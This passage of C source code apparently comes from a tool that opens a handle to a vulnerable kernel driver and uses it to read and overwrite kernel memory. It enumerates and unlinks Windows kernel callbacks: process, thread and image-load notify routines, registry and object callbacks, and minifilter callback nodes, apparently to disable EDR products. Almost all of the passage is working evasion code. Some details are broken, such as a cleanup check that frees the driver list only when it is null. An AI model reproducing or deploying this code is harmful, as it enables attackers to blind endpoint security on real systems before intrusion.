DWORD64 dwPrevNext = (dwPrev ? ReadMemoryDWORD64(hDevice, dwPrev + offsetof(LIST_ENTRY, Flink)) : 0);
|
|
DWORD64 dwNext = ReadMemoryDWORD64(hDevice, dwCallbackNode + offsetof(LIST_ENTRY, Flink));
|
|
DWORD64 dwNextPrev = (dwNext ? ReadMemoryDWORD64(hDevice, dwNext + offsetof(LIST_ENTRY, Blink)) : 0);
|
|
|
|
if (dwPrevNext != dwCallbackNode && dwNextPrev != dwCallbackNode) {
|
|
info_t("\t\t\t\tCallbackNodes unlinked");
|
|
continue; // looks unlinked; skip noisy artifacts
|
|
}
|
|
|
|
if (bRemove == TRUE) {
|
|
|
|
// Change the Flink and Blink
|
|
WriteMemoryDWORD64(hDevice, dwPrev + offsetof(LIST_ENTRY, Flink), dwNext);
|
|
WriteMemoryDWORD64(hDevice, dwNext + offsetof(LIST_ENTRY, Blink), dwPrev);
|
|
|
|
}
|
|
|
|
dwNodesFound++;
|
|
}
|
|
|
|
if (dwNodesFound == 0) {
|
|
info_t("\t\t\t\tCallbackNodes not found");
|
|
}
|
|
else if (dwNodesFound != 0 && bRemove == TRUE) {
|
|
info_t("\t\t\t\tCallbackNodes: %d found and delinked", dwNodesFound);
|
|
}
|
|
else {
|
|
info_t("\t\t\t\tCallbackNodes: %d found", dwNodesFound);
|
|
}
|
|
|
|
// Move to the next LIST_ENTRY of instances
|
|
dwCurrentInstanceEntry = ReadMemoryDWORD64(hDevice, dwCurrentInstanceEntry);
|
|
|
|
}
|
|
} // END of if EDR statement
|
|
|
|
// Move to next LIST_ENTRY of filters
|
|
dwCurrentFilterEntry = ReadMemoryDWORD64(hDevice, dwCurrentFilterEntry);
|
|
}
|
|
|
|
// Move to next LIST_ENTRY of frames
|
|
dwCurrentFrameEntry = ReadMemoryDWORD64(hDevice, dwCurrentFrameEntry);
|
|
}
|
|
|
|
if (bRemove == TRUE) {
|
|
info_t("---------- %s Kernel Callbacks delinked CallbackNodes list ----------", lpstrCallbackType);
|
|
}
|
|
|
|
return bSTATE;
|
|
|
|
}
|
|
|
|
// Lists and or removes all kernel callbacks
|
|
BOOL ListOrRemoveKernelCallbacks(IN BOOL bRemove) {
|
|
|
|
BOOL bSTATE = TRUE;
|
|
DWORD64 dwNtoskrnlBaseAddress = 0; // Stores base address of ntoskrnl.exe
|
|
DWORD64 dwfltMgrBaseAddress = 0; // Stores base address of fltMgr.sys
|
|
HANDLE hDevice = NULL; // Saves handle to the device driver
|
|
DWORD64 dwPspCreateProcessNotifyRoutineArray = 0; // Base address of PspCreateProcessNotifyRoutineArray
|
|
DWORD64 dwPspCreateThreadNotifyRoutineArray = 0; // Base address of dwPspCreateThreadNotifyRoutineArray
|
|
DWORD64 dwPspLoadImageNotifyRoutineArray = 0; // Base address of dwPspLoadImageNotifyRoutineArray
|
|
DWORD64 dwCallbackListHead = 0; // Base address of dwCallbackListHead
|
|
DWORD64 dwPsProcessType = 0; // Base address of dwPsProcessType
|
|
DWORD64 dwPsThreadType = 0; // Base address of dwPsThreadType
|
|
DWORD64 dwFltGlobals = 0; // Base address of FltGlobals
|
|
LPVOID pDrivers = NULL; // Output buffer with sorted drivers
|
|
DWORD dwDriverCount = 0; // Driver count
|
|
|
|
// Get base address of ntoskrnl.exe
|
|
if (!GetNtoskrnlBaseAddress(&dwNtoskrnlBaseAddress)){
|
|
error("GetNtoskrnlBaseAddress - Failed to get base address of \"ntoskrnl.exe\"");
|
|
bSTATE = FALSE;
|
|
goto _cleanUp;
|
|
}
|
|
info_t("GetNtoskrnlBaseAddress - ntoskrnl address: %llx", dwNtoskrnlBaseAddress);
|
|
|
|
// Get base address of sysMgtr.sys
|
|
dwfltMgrBaseAddress = GetfltMgrBaseAddress();
|
|
if (!dwfltMgrBaseAddress) {
|
|
error("FindfltMgrBaseAddress - Failed to get base address of \"ci.dll\"");
|
|
bSTATE = FALSE;
|
|
goto _cleanUp;
|
|
}
|
|
info_t("FindfltMgrBaseAddress - fltMgr.sys base address: 0x%p", dwfltMgrBaseAddress);
|
|
|
|
// Calculate addresses and offsets
|
|
dwPspCreateProcessNotifyRoutineArray = dwNtoskrnlBaseAddress + g_ntoskrnlOffsets.st.pspCreateProcessNotifyRoutine;
|
|
dwPspCreateThreadNotifyRoutineArray = dwNtoskrnlBaseAddress + g_ntoskrnlOffsets.st.pspCreateThreadNotifyRoutine;
|
|
dwPspLoadImageNotifyRoutineArray = dwNtoskrnlBaseAddress + g_ntoskrnlOffsets.st.pspLoadImageNotifyRoutine;
|
|
dwCallbackListHead = dwNtoskrnlBaseAddress + g_ntoskrnlOffsets.st.CallbackListHead;
|
|
dwPsProcessType = dwNtoskrnlBaseAddress + g_ntoskrnlOffsets.st.psProcessType;
|
|
dwPsThreadType = dwNtoskrnlBaseAddress + g_ntoskrnlOffsets.st.psThreadType;
|
|
|
|
dwFltGlobals = dwfltMgrBaseAddress + g_fltMgrOffsets.st.FltGlobals;
|
|
|
|
// Print the base addresses of kernel callbacks
|
|
printf("\n");
|
|
info_t("------------- Address and offset overview -------------")
|
|
info_t("PspCreateProcessNotifyRoutineArray address: 0x%llx", dwPspCreateProcessNotifyRoutineArray);
|
|
info_t("PspCreateThreadNotifyRoutineArray address: 0x%llx", dwPspCreateThreadNotifyRoutineArray);
|
|
info_t("PspLoadImageNotifyRoutineArray address: 0x%llx", dwPspLoadImageNotifyRoutineArray);
|
|
info_t("CallbackListHead address: 0x%llx", dwCallbackListHead);
|
|
info_t("PsProcessType address: 0x%llx", dwPsProcessType);
|
|
info_t("PsThreadType address: 0x%llx", dwPsThreadType);
|
|
info_t("_OBJECT_TYPE.Callbacklist offset: 0x%llx", g_ntoskrnlOffsets.st.object_type_callbacklist);
|
|
|
|
info_t("FltGlobals address addres: 0x%llx", dwFltGlobals);
|
|
info_t("_GLOBALS.FrameList offset: 0x%llx", g_fltMgrOffsets.st._GLOBALS_FrameList);
|
|
info_t("_FLT_RESOURCE_LIST_HEAD.rList offset: 0x%llx", g_fltMgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList);
|
|
|
|
info_t("_DRIVER_OBJECT.DriverInit offset: 0x%llx", g_fltMgrOffsets.st._DRIVER_OBJECT_DriverInit);
|
|
info_t("_FLTP_FRAME.Links offset: 0x%llx", g_fltMgrOffsets.st._FLTP_FRAME_Links);
|
|
info_t("_FLTP_FRAME.RegisteredFilters offset: 0x%llx", g_fltMgrOffsets.st._FLTP_FRAME_RegisteredFilters);
|
|
info_t("_FLT_FILTER.DriverObject offset: 0x%llx", g_fltMgrOffsets.st._FLT_FILTER_DriverObject);
|
|
info_t("_FLT_FILTER.InstanceList offset: 0x%llx", g_fltMgrOffsets.st._FLT_FILTER_InstanceList);
|
|
info_t("_FLT_INSTANCE.CallbackNodes offset: 0x%llx", g_fltMgrOffsets.st._FLT_INSTANCE_CallbackNodes);
|
|
info_t("_FLT_INSTANCE.FilterLink offset: 0x%llx", g_fltMgrOffsets.st._FLT_INSTANCE_FilterLink);
|
|
info_t("_FLT_OBJECT.PrimaryLink offset: 0x%llx", g_fltMgrOffsets.st._FLT_OBJECT_PrimaryLink);
|
|
|
|
|
|
printf("\n");
|
|
|
|
// Open a handle to the vulnerable driver using symbolik link
|
|
hDevice = GetDeviceHandle(g_VULNDRIVERSYMLINK);
|
|
if (hDevice == NULL) {
|
|
error("GetDeviceHandle - Failed");
|
|
bSTATE = FALSE;
|
|
goto _cleanUp;
|
|
}
|
|
info_t("GetDeviceHandle - Handle to vulnerable driver 0x%p", hDevice);
|
|
|
|
// Enumerate loaded kernel drivers
|
|
if (!ListAndSortKernelDrivers(&pDrivers, &dwDriverCount)) {
|
|
error("ListAndSortKernelDrivers - Failed to enumerate kernel drivers");
|
|
bSTATE = FALSE;
|
|
goto _cleanUp;
|
|
}
|
|
info_t("ListAndSortKernelDrivers - Enumerated %d kernel drivers at 0x%p", dwDriverCount, pDrivers);
|
|
|
|
// List and or remove Process Creation kernel callbacks
|
|
printf("\n");
|
|
ListOrRemoveKCArray(hDevice, "Process Creation", dwPspCreateProcessNotifyRoutineArray, pDrivers, dwDriverCount, bRemove);
|
|
|
|
// List and or remove Thread Creation kernel callbacks
|
|
printf("\n");
|
|
ListOrRemoveKCArray(hDevice, "Thread Creation", dwPspCreateThreadNotifyRoutineArray, pDrivers, dwDriverCount, bRemove);
|
|
|
|
// List and or remove Image Loading kernel callbacks
|
|
printf("\n");
|
|
ListOrRemoveKCArray(hDevice, "Image Loading", dwPspLoadImageNotifyRoutineArray, pDrivers, dwDriverCount, bRemove);
|
|
|
|
// List and or remove Registry kernel callbacks
|
|
printf("\n");
|
|
ListOrRemoveKCRegistryOperations(hDevice, "Registry Operations", dwCallbackListHead, pDrivers, dwDriverCount, bRemove);
|
|
|
|
// List and or remove Object Operations kernel callbacks for process
|
|
printf("\n");
|
|
ListOrRemoveKCObjectOperations(hDevice, "Process Object Operations", dwPsProcessType, pDrivers, dwDriverCount, bRemove);
|
|
|
|
// List and or remove Object Operations kernel callbacks for threads
|
|
printf("\n");
|
|
ListOrRemoveKCObjectOperations(hDevice, "Thread Object Operations", dwPsThreadType, pDrivers, dwDriverCount, bRemove);
|
|
|
|
// List and remove Mini Filter kernel callbacks
|
|
printf("\n");
|
|
ListOrRemoveMiniFiltersCallbacks(hDevice, "Minifilters", dwFltGlobals, pDrivers, dwDriverCount, bRemove);
|
|
printf("\n");
|
|
|
|
_cleanUp:
|
|
|
|
// Close handle to device
|
|
if (hDevice) {
|
|
CloseHandle(hDevice);
|
|
}
|
|
|
|
// Cleanup driver list
|
|
if (!pDrivers) {
|
|
HeapFree(GetProcessHeap(), 0, pDrivers);
|
|
}
|
|
|
|
return bSTATE;
|
|
|
|
}
|